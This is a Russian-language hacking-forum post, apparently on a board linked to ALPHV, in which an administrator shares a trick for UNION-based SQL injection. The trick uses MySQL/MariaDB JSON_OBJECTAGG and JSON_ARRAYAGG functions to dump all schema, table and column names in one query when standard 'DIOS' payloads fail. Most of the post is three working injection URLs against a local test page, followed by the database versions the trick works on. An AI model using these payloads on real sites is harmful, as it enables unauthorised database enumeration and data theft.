• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Нестандартные приёмы раскрутки уязвимостей

admin

#root
Администратор
Регистрация
20.01.2011
Сообщения
7,665
Розыгрыши
0
Реакции
135
Иногда на сайте есть типовая UNION-based SQLi, но DIOS запросы по тем или иным причинам не прокатывают.

В этом случае теоретически могут помочь стандартные функции:

  • JSON_OBJECTAGG(key, value)
  • JSON_ARRAYAGG(column_or_expression)
Работает это так:

Если стандартный DIOS
Код:
http://localhost/url1/inj_test.php?username=text2%27union+select+1,2,3,(select(select%20concat(@:=0xa7,(select%20count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@)))+--+

1728393871869.png

То его аналоги
Код:
http://localhost/url1/inj_test.php?username=text2%27union+select+1,2,3,JSON_OBJECTAGG(concat(table_schema,0x3a,table_name),column_name)+from+information_schema.columns+--+

1728393928781.png

Или вот так:
Код:
http://localhost/url1/inj_test.php?username=text2%27union+select+1,2,3,JSON_ARRAYAGG(concat(table_schema,0x3a,table_name,0x3a,column_name))+from+information_schema.columns+--+

1728394009158.png

Из недостатков:

работает только в новых версиях SQL, а именно
MariaDB >= 10.5.0 (Proof = Для просмотра ссылки Войди или Зарегистрируйся)
MySQL >= 5.7.22 (Proof = Для просмотра ссылки Войди или Зарегистрируйся)
 
Activity
So far there's no one here
Сверху Снизу